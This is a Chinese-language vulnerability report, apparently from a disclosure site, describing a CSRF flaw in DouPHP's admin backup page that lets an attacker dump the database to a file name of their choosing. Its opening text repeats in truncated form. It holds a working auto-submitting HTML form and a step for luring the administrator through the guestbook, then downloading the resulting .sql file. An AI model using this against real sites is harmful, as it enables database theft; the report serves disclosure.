### 简要描述： DouPHP可CSRF脱裤。 ### 详细说明： 在www\admin\backup.php： ``` if ($rec == 'backup') { $fileid = isset($_REQUEST['fileid']) ? $_REQUEST['fileid'] : 1; $tables = $_REQUEST['tables']; $vol_size = $_REQUEST['vol_size']; $totalsize = $_REQUEST['totalsize']; $file_name = $_REQUEST['file_name']; //1、用户输入的文件作为备份文件名 // 判断备份文件名是否规范 if (!$check->is_backup_file($file_name . '.sql')) //2、is_backup_file 仅检查是否是字母数字开头、.sql结尾 $dou->dou_msg($_LANG['backup_file_name_not_valid'], 'backup.php'); if ($fileid == 1 && $tables) { if (!isset($tables) || !is_array($tables)) { $dou->dou_msg($_LANG['backup_no_select'], 'backup.php'); } $cache_file = ROOT_PATH . 'data/backup/tables.php'; $content = "<?php\r\n"; $content .= "\$data = " . var_export($tables, true) . ";\r\n"; $content .= "?>"; file_put_contents($cache_file, $content, LOCK_EX); } else { include ROOT_PATH . 'data/backup/tables.php'; $tables = $data; if (!$tables) { $dou->dou_msg($_LANG['backup_no_select'], 'backup.php'); } } if ($dou->version() >...
### 简要描述： DouPHP可CSRF脱裤。 ### 详细说明： 在www\admin\backup.php： ``` if ($rec == 'backup') { $fileid = isset($_REQUEST['fileid']) ? $_REQUEST['fileid'] : 1; $tables = $_REQUEST['tables']; $vol_size = $_REQUEST['vol_size']; $totalsize = $_REQUEST['totalsize']; $file_name = $_REQUEST['file_name']; //1、用户输入的文件作为备份文件名 // 判断备份文件名是否规范 if (!$check->is_backup_file($file_name . '.sql')) //2、is_backup_file 仅检查是否是字母数字开头、.sql结尾 $dou->dou_msg($_LANG['backup_file_name_not_valid'], 'backup.php'); if ($fileid == 1 && $tables) { if (!isset($tables) || !is_array($tables)) { $dou->dou_msg($_LANG['backup_no_select'], 'backup.php'); } $cache_file = ROOT_PATH . 'data/backup/tables.php'; $content = "<?php\r\n"; $content .= "\$data = " . var_export($tables, true) . ";\r\n"; $content .= "?>"; file_put_contents($cache_file, $content, LOCK_EX); } else { include ROOT_PATH . 'data/backup/tables.php'; $tables = $data; if (!$tables) { $dou->dou_msg($_LANG['backup_no_select'], 'backup.php'); } } if ($dou->version() > '4.1' && $sqlcharset) { $dou->query("SET NAMES '" . $sqlcharset . "';\n\n"); } $sqldump = ''; $tableid = isset($_REQUEST['tableid']) ? $_REQUEST['tableid'] - 1 : 0; $startfrom = isset($_REQUEST['startfrom']) ? intval($_REQUEST['startfrom']) : 0; $tablenumber = count($tables); for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $vol_size * 1024; $i++) { $sqldump .= $dump->sql_dumptable($tables[$i], $vol_size, $startfrom, strlen($sqldump)); $startfrom = 0; } if (trim($sqldump)) { $sqldump = "-- douweb v1.x SQL Dump Program\n" . "-- " . ROOT_URL . "\n" . "-- \n" . "-- DATE : " . date('Y-m-d H:i:s') . "\n" . "-- MYSQL SERVER VERSION : " . $dou->version() . "\n" . "-- PHP VERSION : " . PHP_VERSION . "\n" . "-- Douweb VERSION : " . $_CFG['dou_version'] . "\n\n" . $sqldump; $tableid = $i; if ($vol_size > $totalsize) { $sql_file_name = $file_name . '.sql'; } else { $sql_file_name = $file_name . '_' . $fileid . '.sql'; } $fileid++; $bakfile = ROOT_PATH . '/data/backup/' . $sql_file_name; //3、写入了文件 if (!is_writable(ROOT_PATH . '/data/backup/')) { $dou->dou_msg($_LANG['backup_no_save'], 'backup.php'); } file_put_contents($bakfile, $sqldump); @ chmod($bakfile, 0777); $dou->create_admin_log($_LANG['backup'] . ": " . $sql_file_name); $_LANG['backup_file_success'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['backup_file_success']); $dou->dou_msg($_LANG['backup_file_success'], 'backup.php?rec=' . $rec . '&vol_size=' . $vol_size . '&totalsize=' . $totalsize . '&file_name=' . $file_name . '&tableid=' . $tableid . '&fileid=' . $fileid . '&startfrom=' . $startrow, '', 1); } else { @ unlink(ROOT_PATH . 'data/backup/tables.php'); $dou->dou_msg($_LANG['backup_success'], 'backup.php?rec=restore'); } } ``` 可以看到其中没有csrf防御，而且用户文件名可自定义。 备份文件夹在 www\data\backup目录下 ### 漏洞证明： <html> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <body> ``` <form name="csrf" action="http://127.0.0.1/admin/backup.php?rec=backup" method="post"> <input type="hidden" name="chkall" value="check"> <input type="hidden" name="tables[]" value="dou_admin"> <input type="hidden" name="tables[]" value="dou_admin_log"> <input type="hidden" name="tables[]" value="dou_article"> <input type="hidden" name="tables[]" value="dou_article_category"> <input type="hidden" name="tables[]" value="dou_config"> <input type="hidden" name="tables[]" value="dou_guestbook"> <input type="hidden" name="tables[]" value="dou_link"> <input type="hidden" name="tables[]" value="dou_nav"> <input type="hidden" name="tables[]" value="dou_page"> <input type="hidden" name="tables[]" value="dou_product"> <input type="hidden" name="tables[]" value="dou_product_category"> <input type="hidden" name="tables[]" value="dou_show"> <input type="hidden" name="file_name" value="xxxxxxxxxxxx"> <input type="hidden" name="vol_size" value="2048"> <input type="hidden" name="totalsize" value="120"> </form> ``` </body> <script> document.csrf.submit(); </script> </body> </html> 在前台给管理员留言处发一句具有诱惑性的话，骗取点击。即可生成备份文件，可直接下载 http://127.0.0.1/data/backup/xxxxxxxxxxxx.sql
